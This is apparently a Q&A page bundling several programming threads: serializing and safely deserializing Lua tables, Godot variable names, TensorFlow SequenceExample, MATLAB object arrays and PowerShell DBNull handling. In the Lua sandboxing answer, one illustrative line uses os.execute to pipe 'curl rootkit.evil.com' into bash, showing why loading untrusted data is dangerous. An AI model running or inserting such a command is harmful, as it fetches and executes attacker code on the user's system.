I may have missed this, but is there a built-in method for serializing/deserializing lua tables to text files and vice versa?
I had a pair of methods in place to do this on a lua table with fixed format (e.g. 3 columns of data with 5 rows).
Is there a way to do this on lua tables with any arbitrary format?
For an example, given this lua table:
local scenes={
{name="scnSplash",
obj={
{
name="bg",
type="background",
path="scnSplash_bg.png",
},
{
name="bird",
type="image",
path="scnSplash_bird.png",
x=0,
y=682,
},
}
},
}
It would be converted into text like this:
{name="scnSplash",obj={{name="bg",type="background",path="scnSplash_bg.png",},{name="bird", type="image",path="scnSplash_bird.png",x=0,y=682,}},}
The format of the serialized text can be defined in any way, as long as the text string can be deserialized into an empty lua table.
I'm not sure why JSON library was marked as the right answer as it seems to be very limited in serializing "lua tables with any arbitrary format". It doesn't handle boolean/table/function values as keys and doesn't handle circular references. Shared references are not serialized as shared and math.huge values are not serialized correctly on Windows. I realize that most of these are JSON limitations (and hence implemented this way in the library), but this was proposed as a solution for generic Lua table serialization (which it is not).
One would be better off by using one of the implementations from TableSerialization page or my Serpent serializer and pretty-printer.
Lua alone doesn't have any such builtin, but implementing one is not difficult. A number of prebaked implementations are listed here: http://lua-users.org/wiki/TableSerialization
require "json"
local t = json.decode( jsonFile( "sample.json" ) )
reference here for a simple json serializer.
Add json.lua from rxi/json.lua to your project, then use it with:
local json = require("json")
local encoded = json.encode({
name = "J. Doe",
age = 42
})
local decoded = json.decode(encoded)
print(decoded.name)
Note that the code chokes if there are functions in the value you are trying to serialize. You have to fix line 82 and 93 in the code to skip values that have the function type.
Small solution: The key can be done without brackets, but be sure that here is no minuses or other special symbols.
local nl = string.char(10) -- newline
function serialize_list (tabl, indent)
indent = indent and (indent.." ") or ""
local str = ''
str = str .. indent.."{"..nl
for key, value in pairs (tabl) do
local pr = (type(key)=="string") and ('["'..key..'"]=') or ""
if type (value) == "table" then
str = str..pr..serialize_list (value, indent)
elseif type (value) == "string" then
str = str..indent..pr..'"'..tostring(value)..'",'..nl
else
str = str..indent..pr..tostring(value)..','..nl
end
end
str = str .. indent.."},"..nl
return str
end
local str = serialize_list(tables)
print(str)
Related
I have been looking for a solution everywhere on the internet but nowhere I can see a single script which lets me read the name of a variable as a string in Godot 3.1
What I want to do:
Save path names as variables.
Compare the name of the path variable as a string to the value of another string and print the path value.
Eg -
var Apple = "mypath/folder/apple.png"
var myArray = ["Apple", "Pear"]
Function that compares the Variable name as String to the String -
if (myArray[myposition] == **the required function that outputs variable name as String**(Apple) :
print (Apple) #this prints out the path.
Thanks in advance!
I think your approach here might be a little oversimplified for what you're trying to accomplish. It basically seems to work out to if (array[apple]) == apple then apple, which doesn't really solve a programmatic problem. More complexity seems required.
First, you might have a function to return all of your icon names, something like this.
func get_avatar_names():
var avatar_names = []
var folder_path = "res://my/path"
var avatar_dir = Directory.new()
avatar_dir.open(folder_path)
avatar_dir.list_dir_begin(true, true)
while true:
var avatar_file = avatar_dir.get_next()
if avatar_file == "":
break
else:
var avatar_name = avatar_file.trim_suffix(".png")
avatar_names.append(avatar_name)
return avatar_names
Then something like this back in the main function, where you have your list of names you care about at the moment, and for each name, check the list of avatar names, and if you have a match, reconstruct the path and do other work:
var some_names = ["Jim","Apple","Sally"]
var avatar_names = get_avatar_names()
for name in some_names:
if avatar_names.has(name):
var img_path = "res://my/path/" + name + ".png"
# load images, additional work, etc...
That's the approach I would take here, hope this makes sense and helps.
I think the current answer is best for the approach you desire, but the performance is pretty bad with string comparisons.
I would suggest adding an enumeration for efficient comparisons. unfortunately Godot does enums differently then this, it seems like your position is an int so we can define a dictionary like this to search for the index and print it out with the int value.
var fruits = {0:"Apple",1:"Pear"}
func myfunc():
var myposition = 0
if fruits.has(myposition):
print(fruits[myposition])
output: Apple
If your position was string based then an enum could be used with slightly less typing and different considerations.
reference: https://docs.godotengine.org/en/latest/tutorials/scripting/gdscript/gdscript_basics.html#enums
Can't you just use the str() function to convert any data type to stirng?
var = str(var)
Recently I read this guide on undocumented featuers in TensorFlow, as I needed to pass variable length sequences as input. However, I found the protocol for tf.train.SequenceExample relatively confusing (especially due to lack of documentation), and managed to build an input pipe using tf.train.Example just fine instead.
Are there any advantages to using tf.train.SequenceExample? Using the standard example protocol when there is a dedicated one for variable length sequences seems like a cheat, but does it bear any consequence?
Here are the definitions of the Example and SequenceExample protocol buffers, and all the protos they may contain:
message BytesList { repeated bytes value = 1; }
message FloatList { repeated float value = 1 [packed = true]; }
message Int64List { repeated int64 value = 1 [packed = true]; }
message Feature {
oneof kind {
BytesList bytes_list = 1;
FloatList float_list = 2;
Int64List int64_list = 3;
}
};
message Features { map<string, Feature> feature = 1; };
message Example { Features features = 1; };
message FeatureList { repeated Feature feature = 1; };
message FeatureLists { map<string, FeatureList> feature_list = 1; };
message SequenceExample {
Features context = 1;
FeatureLists feature_lists = 2;
};
An Example contains a Features, which contains a mapping from feature name to Feature, which contains either a bytes list, or a float list or an int64 list.
A SequenceExample also contains a Features, but it also contains a FeatureLists, which contains a mapping from list name to FeatureList, which contains a list of Feature. So it can do everything an Example can do, and more. But do you really need that extra functionality? What does it do?
Since each Feature contains a list of values, a FeatureList is a list of lists. And that's the key: if you need lists of lists of values, then you need SequenceExample.
For example, if you handle text, you can represent it as one big string:
from tensorflow.train import BytesList
BytesList(value=[b"This is the first sentence. And here's another."])
Or you could represent it as a list of words and tokens:
BytesList(value=[b"This", b"is", b"the", b"first", b"sentence", b".", b"And", b"here",
b"'s", b"another", b"."])
Or you could represent each sentence separately. That's where you would need a list of lists:
from tensorflow.train import BytesList, Feature, FeatureList
s1 = BytesList(value=[b"This", b"is", b"the", b"first", b"sentence", b"."])
s2 = BytesList(value=[b"And", b"here", b"'s", b"another", b"."])
fl = FeatureList(feature=[Feature(bytes_list=s1), Feature(bytes_list=s2)])
Then create the SequenceExample:
from tensorflow.train import SequenceExample, FeatureLists
seq = SequenceExample(feature_lists=FeatureLists(feature_list={
"sentences": fl
}))
And you can serialize it and perhaps save it to a TFRecord file.
data = seq.SerializeToString()
Later, when you read the data, you can parse it using tf.io.parse_single_sequence_example().
The link you provided lists some benefits. You can see how parse_single_sequence_example is used here https://github.com/tensorflow/magenta/blob/master/magenta/common/sequence_example_lib.py
If you managed to get the data into your model with Example, it should be fine. SequenceExample just gives a little more structure to your data and some utilities for working with it.
I have already serialized a table in lua.Does lua have any function to deserialize it?
function dump(o)
if type(o) == 'table' then
local s = '{ '
for k,v in pairs(o) do
if type(k) ~= 'number' then k = '"'..k..'"' end
s = s .. '['..k..'] = ' .. dump(v) .. ','
end
return s .. '} '
else
return tostring(o)
end
end
local people = {
{
name = "Fred",
address = "16 Long Street",
phone = "123456"
},
{
name = "Wilma",
address = "16 Long Street",
phone = "123456"
},
{
name = "Barney",
address = "17 Long Street",
phone = "123457"
}
}
file = io.open("test.lua", "a")
file:write("People:", dump(people))
The output of this program is:
People: { [1] = { ["phone"] = 123456,["name"] = Fred,["address"] = 16 Long Street,} ,[2] = { ["phone"] = 123456,["name"] = Wilma,
["address"] = 16 Long Street,} ,[3] = { ["phone"] = 123457,["name"] = Barney,["address"] = 17 Long Street,} ,}
Please suggest a way to Deserialize it in lua.
If you slightly change your code…
...
end
return s .. '} '
+++ elseif type(o) == 'string' then
+++ return ("%q"):format( o )
else
return tostring(o)
end
...
…you generate valid Lua.
Now you can
local function condfail( cond, ... )
if not cond then return nil, (...) end
return ...
end
function deserialize( str, vars )
-- create dummy environment
local env = vars and setmetatable( {}, {__index=vars} ) or {}
-- create function that returns deserialized value(s)
local f, _err = load( "return "..str, "=deserialize", "t", env )
if not f then return nil, _err end -- syntax error?
-- set up safe runner
local co = coroutine.create( f )
local hook = function( ) debug.sethook( co, error, "c", 1000000 ) end
debug.sethook( co, hook, "c" )
-- now run the deserialization
return condfail( coroutine.resume( co ) )
end
to deserialize the data in a reasonably safe way.
The unsafe way to deserialize the data would be to simply load( "return "..str )( ), but that would permit running arbitrary Lua code.
First, we put the function in a separate environment so it cannot influence the global environment. (Else, doing, say, print = function() os.execute "curl rootkit.evil.com | bash" end would replace a function with something that is later called from a different (unprotected) context and runs arbitrary code.) For convenience, you could pass in a table so the data can refer to pre-defined variables. (You're probably not going to need this, but if you ever need pre-defined constants that's how to provide them.)
Next, we run the function in a separate coroutine so we can set a debug hook that doesn't influence the rest of the program. And then we can forbid doing any function calls by effectively setting debug.sethook( co, error, "c" ). (Because the initial call of the function that "is"/returns your data would already trigger this, we delay this by one call. So we set a hook that changes the hook to error when called.)
Now all function calls are forbidden and the outside cannot be influenced by the running code. The only remaining thing that an attacker can do is waste time - e.g. by endless loops like while true do end or ::x:: goto x. So we also set a maximum instruction count when setting the hook – debug.sethook( co, error, "c", 1000000 ). One million instructions should be enough for relatively large files. It's an arbitrary limit – increase it if it's too small. (It's enough to count up to 250000 in a loop so creating more than this many primitive values is possible).
One cheap way to deserialize data is to run it. While serializing, you build executable source. Much like you already did, but add few details - add 'return' in front of table constructor, and enclose strings with quote signs, probably some escaping will be required if strings contain quote signs inside.
Note though that it's ok for trusted data only. When data comes from external sources it may contain not just expected data, but also some code that might want to compromise your system.
Otherwise you can try json, there's lots of libs already available for json serializing/deserializing.
I need to build an array of objects of class ID using arrayfun:
% ID.m
classdef ID < handle
properties
id
end
methods
function obj = ID(id)
obj.id = id;
end
end
end
But get an error:
>> ids = 1:5;
>> s = arrayfun(#(id) ID(id), ids)
??? Error using ==> arrayfun
ID output type is not currently implemented.
I can build it alternatively in a loop:
s = [];
for k = 1 : length(ids)
s = cat(1, s, ID(ids(k)));
end
but what is wrong with this usage of arrayfun?
Edit (clarification of the question): The question is not how to workaround the problem (there are several solutions), but why the simple syntax s = arrayfun(#(id) ID(id), ids); doesn't work. Thanks.
Perhaps the easiest is to use cellfun, or force arrayfun to return a cell array by setting the 'UniformOutput' option. Then you can convert this cell array to an array of obects (same as using cat above).
s = arrayfun(#(x) ID(x), ids, 'UniformOutput', false);
s = [s{:}];
You are asking arrayfun to do something it isn't built to do.
The output from arrayfun must be:
scalar values (numeric, logical, character, or structure) or cell
arrays.
Objects don't count as any of the scalar types, which is why the "workarounds" all involve using a cell array as the output. One thing to try is using cell2mat to convert the output to your desired form; it can be done in one line. (I haven't tested it though.)
s = cell2mat(arrayfun(#(id) ID(id), ids,'UniformOutput',false));
This is how I would create an array of objects:
s = ID.empty(0,5);
for i=5:-1:1
s(i) = ID(i);
end
It is always a good idea to provide a "default constructor" with no arguments, or at least use default values:
classdef ID < handle
properties
id
end
methods
function obj = ID(id)
if nargin<1, id = 0; end
obj.id = id;
end
end
end
I got this parameter:
$objDbCmd.Parameters.Add("#telephone", [System.Data.SqlDbType]::VarChar, 18) | Out-Null;
$objDbCmd.Parameters["#telephone"].Value = $objUser.Telephone;
Where the string $objUser.Telephone can be empty. If it's empty, how can I convert it to [DBNull]::Value?
I tried:
if ([string]:IsNullOrEmpty($objUser.Telephone)) { $objUser.Telephone = [DBNull]::Value };
But that gives me the error:
Exception calling "ExecuteNonQuery" with "0" argument(s): "Failed to convert parameter value from a ResultPropertyValueCollection to a String."
And if I convert it to a string, it inserts an empty string "", and not DBNull.
How can this be accomplished?
Thanks.
In PowerShell, you can treat null/empty strings as a boolean.
$x = $null
if ($x) { 'this wont print' }
$x = ""
if ($x) { 'this wont print' }
$x = "blah"
if ($x) { 'this will' }
So.... having said that you can do:
$Parameter.Value = $(if ($x) { $x } else { [DBNull]::Value })
But I'd much rather wrap this up in a function like:
function CatchNull([String]$x) {
if ($x) { $x } else { [DBNull]::Value }
}
I don't know about powershell, but in C# I would do something like this:
if ([string]::IsNullOrEmpty($objUser.Telephone))
{
$objDbCmd.Parameters["#telephone"].Value = [DBNull]::Value;
}
else
{
$objDbCmd.Parameters["#telephone"].Value = $objUser.Telephone;
}
Always append +"" at the end of db values...
$command.Parameters["#EmployeeType"].Value= $ADResult.EmployeeType + ""
Many years later, let me clarify:
Josh's answer shows a helpful simplification for testing strings for emptiness (relying on PowerShell's implicit to-Boolean conversion[1]), but it is unrelated to Tommy's (the OP's) problem.
Instead, the error message
"Failed to convert parameter value from a ResultPropertyValueCollection to a String."
implies that it is the non-null case that caused the problem, because $objDbCmd.Parameters["#telephone"].Value expects either a string value or [DBNull]::Value, whereas $objUser.Telephone is of type [ResultPropertyValueCollection], i.e. a collection of values.
Thus, in the non-null case, a string value must be assigned, which must be derived from the collection; one option is to take the first collection element's value, another would be to join all values with a separator to form a single string, using, e.g., [string]::Join(';', $objUser.Telephone) or, if joining the elements with spaces is acceptable (not a good idea with multiple phone numbers), simply with "$($objUser.Telephone)".[2]
Detecting an empty collection via [string]:IsNullOrEmpty() actually worked, despite the type mismatch, due to how PowerShell implicitly stringifies collections when passing a value to a [string] typed method parameter.[2]
Similarly, using implicit to-Boolean conversion works as expected with collections too: an empty collection evaluates to $false, a non-empty one to $true (as long as there are either at least two elements or the only element by itself would be considered $true[1])
Therefore, one solution is to use the first telephone number entry:
$objDbCmd.Parameters["#telephone"].Value = if ($objUser.Telephone) {
$objUser.Telephone[0].ToString() # use first entry
} else {
[DBNull]::Value
}
Note: If $objUser.Telephone[0] directly returns a [string], you can omit the .ToString() call.
In PowerShell v7+ you can alternatively shorten the statement via a ternary conditional:
$objDbCmd.Parameters["#telephone"].Value =
$objUser.Telephone ? $objUser.Telephone[0].ToString() : [DBNull]::Value
[1] For a comprehensive summary of PowerShell's automatic to-Boolean conversions, see the bottom section of this answer.
[2] When implicitly converting a collection to a string, PowerShell joins the stringified elements of a collection with a single space as the separator by default; you can override the separator with the automatic $OFS variable, but that is rarely done in practice; e.g., array 'foo', 'bar' is converted to 'foo bar'; note that this conversion does not apply when you call the collection's .ToString() method explicitly, but it does apply inside expandable (interpolating) strings, e.g., "$array".